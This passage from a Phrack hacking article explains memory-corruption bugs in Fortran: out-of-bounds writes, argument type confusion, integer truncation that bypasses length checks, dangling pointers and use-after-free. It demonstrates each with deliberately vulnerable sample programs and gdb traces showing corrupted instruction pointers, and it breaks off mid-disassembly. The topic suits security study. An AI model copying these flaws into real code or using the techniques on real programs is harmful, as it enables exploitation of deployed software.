to find security vulnerabilities in your apps" [5] Barbosa, Edgar. "Taint Analysis"; H2HC 2009 http://www.h2hc.com.br/repositorio/2009/Edgar.pdf [6] Chow, Jin. "Understanding data lifetime via whole system emulation"; Usenix 2004 [7] Denning, Dorothy; Denning, Peter. "Certification of Programs for Secure Information Flow" [8] Klee Project http://keeda.stanford.edu/wiki/klee-install [9] Godefroid, Patrice; Levin, Michael; Molnar, David. "Automated Whitebox Fuzz Testing" http://research.microsoft.com/en-us/projects/atg/ndss2008.pdf [10] Molnar, David; Wagner, David. "Catchconv: Symbolic execution and run-time type inference for integer conversion errors" [11] Wille, Andre; Drechsler, Daniel. "Evaluation of SAT like Proof Techniques for Formal Verification of Word Level Circuits [12] de Moura, Leonardo; Bjorner, Nikolaj. "Z3: An Efficient SMT Solver" [13] Z3 Project - Microsoft Research http://research.microsoft.com/en-us/um/redmond/projects/z3/ [14] ERESI Project http://www.eresi-project.org/ [15] Valgrind Project http://www.valgrind.org [16] Porst, Sebastian. "Applications of the Reverse Engineering Language REIL" http://www.h2hc.com.br/repositorio/2009/Sebastian.pdf [17] Intel Manual http://www.intel.com/software/products/documentation/vlin/mergedprojects/an alyzer_ec/mergedprojects/reference_olh/mergedProjects/instructions/instruct 32_hh/vc42.htm [18] BFS algorithm http://en.wikipedia.org/wiki/Breadth-first_search [19] Microsoft Debugger SDK http://www.microsoft.com/whdc/devtools/debugging/default.mspx [20] Bania, Piotr. "Dynamic Data Flow Analysis via Virtual Code Integration (aka The SpiderPig case)" http://piotrbania.com/all/spiderpig/pbania-spiderpig2008.pdf [21] Newsome, James; Song, Dawn. "Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software" http://valgrind.org/docs/newsome2005.pdf [22] Branco, Rodrigo. "Letting your fuzzer know about target's internals" http://www.troopers10.org [23] Secunia Advisory SA32473. "Sun Solaris Sadmin Two Vulnerabilities" http://secunia.com/advisories/32473/ [24] Core Security Technologies. "Heap Draw / Heap Tracer" http://oss.coresecurity.com/projects/heapdraw.html [25] JFree Project http://www.sf.net/projects/jfree [26] Auto, Julio. "Triaging Bugs with Dynamic Dataflow Analysis" .Source Barcelona 2009 www.julioauto.com/presentations/sourcebcn09_TBwDDA.ppt ------[ 7 - Sources [vdt_jfree.tgz] --------------------------------------------------------------------------- Attached to the article there is: - VDT Project: The main project cited in the article, it is a Microsoft Debugger extension and a GUI used to analyze crash files in order to create an exploit code - Jfree project: It is a Linux-ARM Heap Monitoring System created long ago and also available at [25] - Images directory: Some screenshots of the program and plugin of the VDT Project. Further updates will be available in the RISE Security website at: http://www.risesecurity.org For the author's public key: http://www.kernelhacking.com/rodrigo/docs/public.txt --------[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0b of 0x10 |=-----------------------------------------------------------------------=| |=--------=[ Exploiting memory corruptions in Fortran programs ]=--------=| |=--------=[ under UNIX/VMS ]=--------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ by Magma /FHC ]=--------------------------=| |=------------------------=[ magma@phrack.org ]=-------------------------=| |=-----------------------------------------------------------------------=| --- "aka hacking Fortran for kiddos" --- --[ Contents 1 - Introduction 1.1 - A Fortran tale 1.2 - Who cares about Fortran anyway? 2 - A short introduction to the language basics 2.1 - An overview of Fortran syntax 2.2 - Hey Gramps, what's the difference between F77 and F2008? 3 - Memory corruption with gfortran 3.1 - Buffer overflows 3.2 - The number-related issues 3.3 - The POINTER abuse 3.4 - Other interesting bugs 4 - Back to the good ol' OpenVMS friend 4.1 - Common Fortran bugs .VS. OpenVMS 4.2 - Playing with the heap 5 - Prevention: lets use a condom 6 - The final words 7 - Greetz 8 - Bibliography --- ---[ 1 - Introduction ---[ 1.1 - A Fortran tale Fortran -FORmula TRANslation- is one of the oldest high level programming language ever created. Being well aware of the fact that youngsters aren't interested anymore in history, I'll go straight to the point. Fortran is .NOT. (yet) dead (though 'perforated cards' hackers probably are). Not only did it remain actively used in the very underground scientific/banking sectors but it also evolved to the point where it got its last update in 2008. Hey son, you didn't know that, did you? Now if you ever took Fortran classes in college/university then there is a good chance that your teacher voluntary missed a few things as Fortran is generally taught as a procedural programming language for beginners. As such, you might have been asked to program some crappy math oriented program with basic features and never really got the chance to play with the interesting features of the language. Fortran was once an old fashioned language with limited features and boring syntax constraints. Forget about all that. Nowadays Fortran includes modern features such as dynamic allocation and MPI which make it suitable for implementing both complex algorithms and parallel computing. Now add that to the fact that modern compilers exist for almost all common operating systems and that they produce high-lol-ly efficient code which can be linked to C and even Java programs. You can also use GTK or OpenGL if you wish. You're impressed kid, I can see that in your eyes. @(*_*)@ ---[ 1.2 - Who cares about Fortran anyway? Well I do and let me tell you why you should too: a. It may not be too good looking at first but at least it's way sexier than COBOL. b. Your father was programming in Fortran using perforated cards and got headaches doing so. Sounds like a cool subject in family diner. c. Vintage web is the best. Just try typing Fortran in google to admire beautiful and authentic Web 0.1 HTML. d. Wikipedia tells us that "It is one of the most popular languages in the area of high-performance computing and is the language used for programs that benchmark and rank the world's fastest supercomputers." We should always believe wikipedia. e. You mastered tabs in python and couldn't think of new ways to be cool on BBS^H^H^HIRC? Well then try to master Fortran 77's indentation constraints. You might even be able to impress chicks. It used to work almost forty years ago (.OR. .NOT.). Still not convinced? OK so what if Fortran programs were used in strategic areas you've only heard of? What if Fortran programs were more buggy [R1] than they seemed? What if you could exploit some appropriate bug in a Fortran program and then own the _whole_ _damn_ _world_? That would be extraordinary, wouldn't it? Well cool down man that would also remain a dream :> --- ---[ 2 - A short introduction to the language basics In order to properly understand the paper, you'll need the basics in Fortran programming. Since Fortran 77 (F77) isn't used anymore, the article is focused on F90 (Fortran 90) whose syntax mostly remained compatible throughout the different revisions of the standard. Specific features added by Fortran 95 (F95) up to Fortran 2008 (F2008) are discussed in Chap 2.2 though not really _that_ interesting in the context of this paper. You can easily skip the aforementioned explanation. ---[ 2.1 - An overview of Fortran syntax Fortran is a procedural compiled language whose syntax is quite easy to learn albeit sometimes not intuitive. Let's begin with the traditional 'Hello World': -----BEGIN EXAMPLE 1----- $ cat ex1.f90 ! Dummy comment PROGRaM EX1 [L1] CHARACTER(len=20) :: hellostr='Hello World!' [L2] write(*,fmt='(A)') hellOstr [L3] END PROGRAM [L4] $ gfortran ex1.f90 $ ./a.out Hello World! $ -----END EXAMPLE 1----- *) '!' marks the beginning of a comment. *) A Fortran program is divided in several blocks. [L1] declares the beginning of the PROGRAM (the MAIN_() function) and requires the according 'END' in [L4]. Other types of blocks include FUNCTION and SUBROUTINE, the difference between them being essentially whether or not they return a value. Note: This language keywords are case insensitive as shown in [L1]. *) Variables are declared at the beginning of the blocks and are also case insensitive ([L2] vs [L3]) and preceded by a type. According to the ISO standard [R2], F90 defines five intrinsic types being: INTEGER, REAL, COMPLEX, CHARACTER and LOGICAL. An intrinsic type can optionally been followed by a 'type parameter' which can either be 'len' or 'kind'. 'len' allows the programmer to specify how much bytes is required to store the variable for a CHARACTER and so is 'kind' for INTEGER, REAL and LOGICAL types. Contrary to the C language, there is a difference between strings and character arrays but both are related to the CHARACTER type: CHARACTER(len=1) :: array(20) ! 20 bytes array CHARACTER(len=20) :: string ! 20 bytes string *) read() and write() are the common input/output functions used to read and write files. Amongst the possible parameter, you can specify how to format the variable. The code in [L3] is equivalent to the C line: printf("%s\n", hellOstr); Now let's see a more advanced example: -----BEGIN EXAMPLE 2----- $ cat ex2.f90 SUBROUTINE add(I,J) IMPLICIT NONE [L1] INTEGER(2) :: I [L2] INTEGER(2) :: J I = I + J END SUBROUTINE PROGRAM EX2 CHARACTER(len=20), PARAMETER :: s = & [L3] 'p67 will be the best.' INTEGER*2 :: I = Z'FF' [L4] write(*,*) '[1] Before add(), I = ', I CALL add(I,1) write(*,*) '[2] After add(), I = ', I END PROGRAM $ gfortran ex2.f90 $ ./a.out [1] Before add(), I = 255 [2] After add(), I = 256 [L5] $ -----END EXAMPLE 2----- L1) By default a few variables do not need to be explicitly declared. According to Chap 5.3 of [R2], variables I to N are integers, while other variables are typed REAL. The directive 'IMPLICIT NONE' forbids this behavior and forces the programmer to properly declare every variable. L2) I and J are both signed integers stored on 2 bytes ('short' type in C language). L3) Lines can be truncated using the '&' special character. PARAMETER is used to declare the variable as a constant. L4) You can initialize the variables in base 8 ('O'), 16 ('Z') and even base 2 ('B'). L5) When calling functions and subroutines (which from an asm point of view is the same), then arguments are passed by reference contrary to the C where arguments are passed by value. ---[ 2.2 - Hey Gramps, what's the difference between F77 and F2008? First of all, know that F77 is not the first Fortran at all but rather the ancestor of F90. It can be seen as the skeleton of the actual "modern" language. Decades after decades, the ISO published several revisions of the language to bring new functionalities while sometimes deleting ones. For us hackers, there is almost no impact except that the newer the language, the higher the chance to find bugs thanks to dangerous and misused extensions. Anyway you should nonetheless be aware of the following -important- differences between the revisions: *) Fortran 90 brought the POINTER object and the ability to dynamically allocate objects. It also made possible the recursion. This particular feature won't be discussed in this paper. *) "Varying character strings" appeared in Fortran 95. This interesting functionality can potentially reduce the risks of bugs induced by the need to copy a buffer into another one (remember that strings have a fixed len in Fortran). Fortunately some compilers don't support it yet (like gfortran) and a lot of programmers aren't even aware of its existence. *) Fortran 2003 was designed to allow object oriented programming but frankly speaking, we don't care at all. More interesting are the IEEE floating point arithmetic and the so-called procedure pointers. Note that we had to wait 2003 to get a language being able to deal with command line arguments and environment variables. _ridiculous_ *) Fortran 2008 introduced the parallel processing ability in the language. This will not discussed. OK enough with the chitchat, let's move on. --- ---[ 3 - Memory corruption with gfortran This part introduces the more common bugs that you may encounter while auditing/writing Fortran code. While it is essentially focused on gfortran (a GCC extension [R3]), the OpenVMS Fortran compiler [R4] will be discussed in part 4. This will allow us to make at least partial generalisation of what kind of bugs are likely to be found & exploited in the wild. People accustomed to Fortran programming already know that Fortran is about dealing with numbers (one of the main advantages of Fortran). As a result it seems that interesting inputs will be the ones related to number manipulation/conversion and string parsing. Now Gramps will show you a few things that might interest you. ---[ 3.1 - Buffer overflows Obviously the buffer overflow is the first type of bug that comes to mind when one wants to trigger a bug related to strings/buffers. Luckily, they also exist in Fortran but only in situations where the compiler was not able to deter them. That would be: *) when the user is able to manipulate an index which will be used to access an array or a string. Due to the index provided by the user, the compiler is not able to detect the potential memory corruptions during the compilation. *) when the user is implicitly or explicitly changing the type of an object passed by reference to the function. The index manipulation ---------------------- Contrary to other languages, Fortran is not able to properly handle invalid memory access on runtime. In fact, if an index is out of scope, Fortran will not see it and a memory corruption might appear. Let's see using this tiny string manipulation example: -----BEGIN OVERFLOW 1----- $ cat overflow1.f90 PROGRAM test CHARACTER(len=30) :: S ! String of length 30 INTEGER(4) I S = 'Hello Phrack readers!' read(*,*) I S(I:I) = '.' write(*,*) S END PROGRAM $ gfortran overflow1.f90 $ ./a.out 3 He.lo Phrack readers! <-- S was modified with 0x2E $ gdb ./a.out [...] 0x080487be <+186>: mov BYTE PTR [ebp+eax*1-0x2b],0x2e ; This is the memory write ; Do we really control eax? [...] (gdb) b *0x080487be Breakpoint 1 at 0x80487be (gdb) r Starting program: a.out 50 <-- 50 is clearly out of scope! (>30) Breakpoint 1, 0x080487be in MAIN__ () (gdb) print /d $eax $1 = 50 (gdb) c Hello Phrack readers! Program received signal SIGSEGV, Segmentation fault. 0x2e04885b in ?? () <-- EIP was corrupted with 0x2E -----END OVERFLOW 1----- This short example is sufficient to prove that (at least with gfortran) there is no runtime check at all. If the user is controlling the index used to access a string then it's probably all over. There are two things worth to note: *) We tricked an out-of-bound memory write due to string manipulation but this could very well have been the same thing with any array (REAL, INTEGERS, CHARACTERS, etc.) *) Due to the fact that the INTEGER type is 'signed', we are equally able to write both before and after the buffer. Depending on the situation this might be extremely useful. For example while it's usually more interesting to write past the buffer when it's located on the stack, writing before it (underflow) might be handy when it's located on the heap. Of course that will depend on the situation. Explicit typing of function parameters ------------------------------------ A short example is better than confusing explanations: -----BEGIN CAST 1----- $ cat cast1.f90 SUBROUTINE dump(S) INTEGER(4) :: S write(*,fmt='(Z10)') S END SUBROUTINE PROGRAM CAST CHARACTER(len=6) :: S S='ABCDEF' CALL dump(S) END PROGRAM $ gfortran cast1.f90 $ ./a.out 44434241 -----END CAST 1----- So we first declare S as a string in the MAIN_ and then call the dump() subroutine, S being the argument. Inside dump(), the parameter is declared as an INTEGER which results in the appropriate printing. The fact that the compiler doesn't check types can lead to very interesting situations: *) when the size of S object in dump() is known at compile time and different of the original one. *) when the size of S object in dump() is controlled by the user. The first case will lead to a memory corruption if the size of the argument in the function is superior to its real size due to argument being passed by reference. The following code is for example incorrect and will lead to a program crash: -----BEGIN CAST 2----- $ cat cast2.f90 SUBROUTINE dump(S) CHARACTER(len=20) :: S S = 'AAAA' END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZZ' CALL dump(X) END PROGRAM $ gfortran ./cast2.f90 $ ./a.out Segmentation fault -----END CAST 2----- What's happening? 'AAAA' is supposed to be shorter than 'ZZZZZZZZZZZ' so why is there a crash? Well S = 'AAAA' means the initialisation of S which ultimately results in the 4 first characters being set to 'A' and the other 16 ones to ' ' (space). But remember that parameters are passed by reference in Fortran so whatever the size of S during the execution of dump(), the size of the real object is 10 bytes. In other words, 20 bytes were copied on a 10 bytes buffer. Due to the very nature of this bug, it's quite unlikely to find it in the wild. However a much more vicious variant with 'implicit typing' is described later. Note: If the size of the argument in the function is actually shorter and number-related then it may leads to a truncation bug (discussed in Chap 3.2). Now one could imagine a second case where the programmer is providing the size of S as an argument (which is of course a bad practice in Fortran). The following code is perfectly legal: -----BEGIN CAST 3----- $ cat cast3.f90 SUBROUTINE dump(S,L) INTEGER(4) :: L CHARACTER(len=L) :: S ! size is a runtime parameter S='AAAA' END SUBROUTINE PROGRAM cast2 CHARACTER(len=10) :: X X = 'ZZZZZZZZZZ' CALL dump(X,100) write(*,*) X END PROGRAM $ gfortran cast3.f90 $ ./a.out 10 AAAA $ ./a.out 200 AAAA Segmentation fault $ -----END CAST 3----- For a couple of seconds we could be tempted to think that it's a situation similar to the one described in [R5] but that would only be true if there were a stack allocation. In fact once again the bug is triggered by the initialisation of the string. Because of the explicit typing of S, the compiler is assuming that S really has a len of L and if L > 10 then a memory corruption occurs. Implicit typing --------------- In the life-time of a program, declaring variables every time can be boring especially when the use of these variables is limited (consider a DO loop variable for example). Because of that, Fortran designers created a rule of implicit declaration. As a result in Fortran you can use a few variables without declaring them which for us hackers can be really cool as it can have side effects. Here is a tiny buggy example: -----BEGIN IMPLICIT TYPE 1----- $ cat implicit_typing1.f90 SUBROUTINE set(I) write(*,*) 'How much do u want to read dude ?' read(*,*) I [L3] END SUBROUTINE PROGRAM IMPLICIT_TYPING IMPLICIT NONE INTEGER(1) :: A, B [L1] A = 0 B = 0 CALL set(B) [L2] write(*,*) 'A=',A,'B=',B END PROGRAM $ gfortran implicit_typing1.f90 $ ./a.out How much do u want to read dude ? 1094795585 [L4] A= 65 B= 65 [L5] $ -----END IMPLICIT TYPE 1----- A, B are declared INTEGERS in the range [-128,+127] [L1] and initialized. B is then passed by reference to the set() subroutine [L2] where it gets affected a new value [L3]. If the user supplies a large enough integer [L4] then B is corrupted [L5]. What happened? Well the heart of this corruption lies in the implicit typing associated with the implicit declaration. Here is what can be read from the official documentation [R2]: --- Chap 5.3 - IMPLICIT "In each scoping unit, there is a mapping, which may be null, between each of the letters A, B, ..., Z and a type (and type parameters). An IMPLICIT statement specifies the mapping for the letters in its letter-spec-list. IMPLICIT NONE specifies the null mapping for all the letters. If a mapping is not specified for a letter, the default for a program unit or an interface body is default integer if the letter is I, J, ..., or N and default real otherwise, and the default for an internal or module procedure is the mapping in the host scoping unit." --- So not declaring I in the set() subroutine had the effect of declaring it as an integer which means INTEGER(4) by default (thus 4 bytes allocated). So cool. Do not forget that we're passing arguments by reference! Yes I know, I'm repeating myself. Probably because of my Alzheimer you know. Anyway, It's really easy to watch it -----BEGIN IMPLICIT TYPE 2----- (gdb) disassemble MAIN__ [...] 0x080486c1 <+17>: lea esi,[ebp-0xa] ; esi=&B [...] 0x080486d8 <+40>: mov DWORD PTR [esp],esi 0x080486db <+43>: mov BYTE PTR [ebp-0x9],0x0 ; A=0 0x080486df <+47>: mov BYTE PTR [ebp-0xa],0x0 ; B=0 0x080486e3 <+51>: call 0x8048790 ; set(&B) (gdb) disassemble set_ [...] 0x08048826 <+150>: mov eax,DWORD PTR [ebp+0x8] ; eax=&B 0x08048829 <+153>: mov DWORD PTR [esp],ebx 0x0804882c <+156>: mov DWORD PTR [esp+0x8],0x4 0x08048834 <+164>: mov DWORD PTR [esp+0x4],eax 0x08048838 <+168>: call 0x8048594 [...] ; read(&B,4) [...] (gdb) b *0x080486e3 Breakpoint 1 at 0x80486e3 (gdb) r [...] Breakpoint 1, 0x080486e3 in MAIN__ () (gdb) x /x $ebp-0xa 0xbffff42e: 0xf5140000 (gdb) x /x $ebp-0xa+2 0xbffff430: 0xbffff514 <-- A pointer is stored right after B (gdb) nexti How much do u want to read dude ? 1094795585 0x080486e8 in MAIN__ () (gdb) x /x $ebp-0xa 0xbffff42e: 0x41414141 <-- We are controling &B[0] up to &B[3] (gdb) x /x $ebp-0xa+2 0xbffff430: 0xbfff4141 <-- The pointer is corrupted. Our win. [...] -----END IMPLICIT TYPE 2----- As expected we wrote 4 bytes in a 1-byte buffer overwriting both 'B' and the 2 lowest bytes of a pointer with arbitrary values. ---[ 3.2 - The number-related issues In C language, there exists three types of integer related bugs [R6]: 1. Signedness bugs 2. Truncation bugs 3. Integer underflow/overflow bugs What about in Fortran? *) This first class of bugs is quite unlikely as the primary component is missing. Indeed the 'unsigned' concept does not exist in Fortran which means that there is (as far as I can see) almost no way to mistakenly interpret a negative number (integer/real) as a larger than expected positive one. However what would appen if we were to call a function in another language defining unsigned numbers like C? Then an integer overflow _could_ happen if the argument was casted. This particular situation is illustrated in Chap 4. *) A truncation bug (may) occur when an integer variable is copied into a smaller one. For example, in C copying an int (4 bytes) into a short (2 bytes) which is possible in Fortran. Practically speaking such a bug usually occurs when an INTEGER is passed as an argument to a function/procedure which declares its type 'smaller' than it actually is. -----BEGIN TRUNCATE 1----- $ cat truncate3.f90 LOGICAL FUNCTION IsGood(L) INTEGER(1) :: L IsGood = .TRUE. write(*,*) 'IsGood: size is ', L IF (L > 10) THEN write(*,*) 'Way too long man', L IsGood = .FALSE. RETURN END IF END FUNCTION PROGRAM truncate3 IMPLICIT NONE INTEGER(4) :: l CHARACTER(2000) :: str LOGICAL :: IsGood write(*,*) 'Give me the damn string ...' read(*,*) str l = len_trim(str) write(*,*) 'MAIN_: size is ', l IF (IsGood(l) .EQV. .TRUE.) THEN write(*,*) 'Copying bytes ... :)' END IF END PROGRAM $ gfortran truncate3.f90 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MAIN_: size is 38 IsGood: size is 38 Way too long man 38 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA MAIN_: size is 520 IsGood: size is 8 Copying bytes ... :) $ -----END TRUNCATE 1----- In IsGood(), L is declared as an INTEGER(1). To respect the type, the parameter has to be reduced modulo 256 hence the result (520 & 0xFF = 8). This is _not_ the only situation involving this type of bug. For example, consider the following situation: -----BEGIN TRUNCATE 2----- $ cat truncate2.f90 PROGRAM truncate2 IMPLICIT NONE INTEGER(1) :: l CHARACTER(255) :: str CHARACTER(10) :: foo write(*,*) 'Give me the damn string ...' read(*,*) str write(*,*) 'Real string size is ', len_trim(str) l = len_trim(str) ! *BUG* *BUG* *BUG* IF (l > 10) THEN write(*,*) 'Way too long man', l STOP END IF write(*,*) 'Copying bytes' ! Insecure copy(foo, str) [...] END PROGRAM $ gfortran truncate2.f90 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAA Real string size is 18 Way too long man 18 $ ./a.out Give me the damn string ... AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Real string size is 180 Copying bytes -----END TRUNCATE 2----- In this situation, the programmer made a mistake involving the prototype the len_trim() function (provided by the Fortran API). [R2] specifies that the result returned by the function should be a 'default integer' (which means INTEGER(4)) hence the previous bug. *) Whenever a language limits the amount of memory allocated for numbers (generally because of hardware constraints), a number under/overflow is always possible and is _normal_. However not handling this situation _is_ a bug. Fortran makes no exception as storage is clearly defined: -----BEGIN INT OVERFLOW 1----- $ cat arithmetic.f90 [...] INTEGER(1) :: N1, N2 write(*,*) 'Give me a number (-128, +127) :' read(*,*) N1 N2 = N1 * 16 write(*,*) 'N * 16 = ', N1*16, ' or ', N2 [...] $ gfortran arithmetic.f90 $ ./a.out Give me a number (-128, +127) : 5 N * 16 = 80 or 80 $ ./a.out Give me a number (-128, +127) : 12 N * 16 = 192 or -64 <-- Oops :) $ ./a.out Give me a number (-128, +127) : 18 N * 16 = 288 or 32 <-- Oops (bis) :) -----END INT OVERFLOW 1----- Is that all? Not quite son. When auditing the use of numbers in C code, you're usually focused on integers (char, int, long, long long) and that would essentially be for two reasons: *) Floats and double are rarely present in C code or to be fair, usually not in common 'audited' software. Of course there are a few notable exceptions, just use your imagination to find out which ones :) *) Floats are usually _not_ related to copy or allocation operations. In C, integers might be used as index, offsets, quantities or even sizes and as such their abuse 'could' induce a memory corruption. There is almost no such danger with floats. Now consider that things are a little bit different with Fortran. As I told you previously Fortran is a math oriented programming language. As such REAL, and COMPLEX types are really common not to mention the fact that the language itself provides some nice intrinsic functions to play with. This itself is sufficient to increase the probability of float-related bug in real life. Here is a short example of what could happen: -----BEGIN REAL OVERFLOW 1----- $ cat float1.f PROGRAM float1 REAL :: a, b, x a = 9.7E-30 b = -3.9E-30 x = a * b write(*,*) 'x = a*b = ',x END PROGRAM $ gfortran ./float1.f $ ./a.out x = a*b = -0.0000000 -----END REAL OVERFLOW 1----- Interesting isn't it? The behavior of REAL is what is described in the IEEE-754. As a result, a REAL (float) underflow occurs when a and b are multiplied. This ultimately results in x taking the value 0 because of the underflow. The program is not able to detect it on runtime whereas an exception could/should have been generated. I won't say more about that, now use your brain/imagination/drug to go further ;-) ---[ 3.3 - The POINTER abuse While the concept of pointer is somewhat universal, implementations and intrinsic limits of this object may completely vary from a language to another. For example, while in C you have direct access to the memory, in Fortran you don't (at least directly). But you still have a powerful pointer arithmetic and frankly speaking, that's all needs the programmer to introduce bugs ;-). Now let's talk about the POINTER. Note: The POINTER is F90 & later specific but you might find pointers in a few F77 programs which use 'Cray Pointers' [R10]. Introduction to POINTER ----------------------- In Fortran, a pointer is not a data type but rather a type parameter and must be associated with an object of the same type to read/modify it. Here is a short self-explaining example: -----BEGIN POINTER 1----- $ cat pointer1.f90 PROGRAM pointer1 INTEGER, TARGET :: a INTEGER, POINTER :: p_a p_a => a ! p_a = &a p_a = 1 ! *p_a = 1 write(*,*) a a = 2 write(*,*) p_a ! printf("%d",*p_a) END PROGRAM $ gfortran pointer1.f90 $ ./a.out 1 2 -----END POINTER 1----- Note that the TARGET parameter is mandatory. Now let's see a more complete example: -----BEGIN POINTER 2----- $ cat pointer2.f90 PROGRAM pointer2 INTEGER, POINTER :: p_a(:) INTEGER, POINTER, DIMENSION(:) :: p_b INTEGER, ALLOCATABLE :: c(:) INTEGER, POINTER :: X(:) ALLOCATE(p_a(5)); p_a = 5 ALLOCATE(p_b(4)); p_b = 4 ALLOCATE(c(3)); c = 3 X => p_a X(3) = 0 write(*,*) p_a write(*,*) p_b write(*,*) c DEALLOCATE(p_a) DEALLOCATE(p_b) DEALLOCATE(c) END PROGRAM $ gfortran pointer2.f90 $ ./a.out 5 5 0 5 5 4 4 4 4 3 3 3 -----END POINTER 2----- *) 'p_a' is an integer array pointer. *) 'p_b' and 'p_a' are the same kind of object despite the syntax being slightly different (but equivalent in the end). *) 'c' is an array whose size is still unknown. The ALLOCATABLE parameter specifies that memory will be requested before any use. This is a dynamically allocated array. *) ALLOCATE() is the intrinsic function responsible of the allocation. (and yes its calling syntax is _shit_ but let's deal with it) *) DEALLOCATE() will free previously requested memory. The link between ALLOCATE() and the libc allocator is easy to see: ------------------------------------------------------ $ ltrace -e malloc,free ./a.out malloc(20) = 0x087009a0 malloc(16) = 0x087009b8 malloc(12) = 0x087009d0 5 5 0 5 5 4 4 4 4 3 3 3 free(0x087009a0) = free(0x087009b8) = free(0x087009d0) = ------------------------------------------------------ This alone is sufficient to prove that malloc (respectively free) and ALLOCATE (respectively DEALLOCATE) are 'almost' the same. The difference between both is studied in another subsection. Heap overflows -------------- A buffer overflow in an ALLOCATEd area _is_ a heap overflow. Such a bug may occur if: *) The user is able to manipulate the index used with the array POINTER to perform an out of bound operation: ------------------------------------------------------ $ ./bof_array_malloc AAAAAAAAAAAAAAAAAAA INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAA [ 20 ] ONCE CLEANED :AAAAAAAAAAAAAAAAAAAA $ ./bof_array_malloc AAAAAAAAAAAAAAAAAAAA INITIAL ARGUMENT = AAAAAAAAAAAAAAAAAAAA [ 141 ] ONCE CLEANED :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA *** glibc detected *** ./bof_array_malloc: free(): invalid next size [...] ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(+0x6b591)[0xb7625591] /lib/tls/i686/cmov/libc.so.6(+0x6cde8)[0xb7626de8] /lib/tls/i686/cmov/libc.so.6(cfree+0x6d)[0xb7629ecd] [...] ------------------------------------------------------ *) The user is able to somehow induce a bug in the allocation either exploiting an arithmetic mistake of the behavior of ALLOCATE (discussed further). Dangling pointers ----------------- By default, pointers are undefined when declared. As a result there should not be any reference nor manipulation of these objects until their association. The unfamiliar programmer might be tempted to use the ASSOCIATED() intrinsic function for safety purpose which (un)fortunately is a mistake: -----BEGIN POINTER 3----- $ cat pointer3.f90 PROGRAM pointer1 INTEGER, TARGET :: a INTEGER, POINTER :: p_a write(*,*) associated(p_a) nullify(p_a) write(*,*) associated(p_a) p_a => a write(*,*) associated(p_a) END PROGRAM $ gfortran pointer3.f90 $ ./a.out T <-- *WRONG* :) F <-- Right T <-- Right -----END POINTER 3----- *) p_a is declared and 'undefined' by default. *) associated() falsely reports that p_a is associated. *) Since the pointer is associated, the programmer can perform operations and a memory corruption is very likely to appear. Let's try to understand what's happening: ------------------------------------------------------ (gdb) disass MAIN__ Dump of assembler code for function MAIN__: 0x080485d4 <+0>: push ebp 0x080485d5 <+1>: mov ebp,esp 0x080485d7 <+3>: sub esp,0x188 0x080485dd <+9>: mov DWORD PTR [esp+0x4],0x80488a0 0x080485e5 <+17>: mov DWORD PTR [esp],0x8 0x080485ec <+24>: call 0x80484c4 <_gfortran_set_options@plt> 0x080485f1 <+29>: mov DWORD PTR [ebp-0x168],0x8048880 0x080485fb <+39>: mov DWORD PTR [ebp-0x164],0x4 0x08048605 <+49>: mov DWORD PTR [ebp-0x170],0x80 0x0804860f <+59>: mov DWORD PTR [ebp-0x16c],0x6 0x08048619 <+69>: lea eax,[ebp-0x170] 0x0804861f <+75>: mov DWORD PTR [esp],eax 0x08048622 <+78>: call 0x80484e4 <_gfortran_st_write@plt> 0x08048627 <+83>: cmp DWORD PTR [ebp-0xc],0x0 ; p_a == 0 ? 0x0804862b <+87>: setne al ; al = ~(p_a == 0) 0x0804862e <+90>: movzx eax,al ; eax = al ------------------------------------------------------ OK OK easy. First p_a is read on the stack then its value is compared with 0 (NULL). If p_a is not zero then it's supposed associated (ah ah). However since the local variable is uninitialized, it could take any value and in our case some stack address thereby explaining the bug. Now more interesting. If operations are performed using p_a on the base of the result returned by associated() then an invalid memory dereference may occur and depending on whether we can control this address or nor it might end up either as a 'Segmentation Fault' or as a perfectly controlled arbitrary memory write. I discovered this really interesting issue reading a cool website [R7] which details a few other interesting issues that won't be discussed in this paper. Use-after-free bugs ------------------- Does the compiler keep track of POINTER object? Will it prevent the programmer from misusing them? Let's write an example once more: -----BEGIN POINTER 4----- $ cat pointer4.f90 PROGRAM pointer4 INTEGER, POINTER :: p1(:) INTEGER, POINTER :: p2(:) ALLOCATE(p1(10)) p2 => p1 p2 = 2 DEALLOCATE(p1) p2 = 3 ! REALLY bad :( END PROGRAM $ gfortran pointer4.f90 -O3 $ gdb ./a.out [...] (gdb) disassemble MAIN__ [...] 0x080485cb <+27>: mov 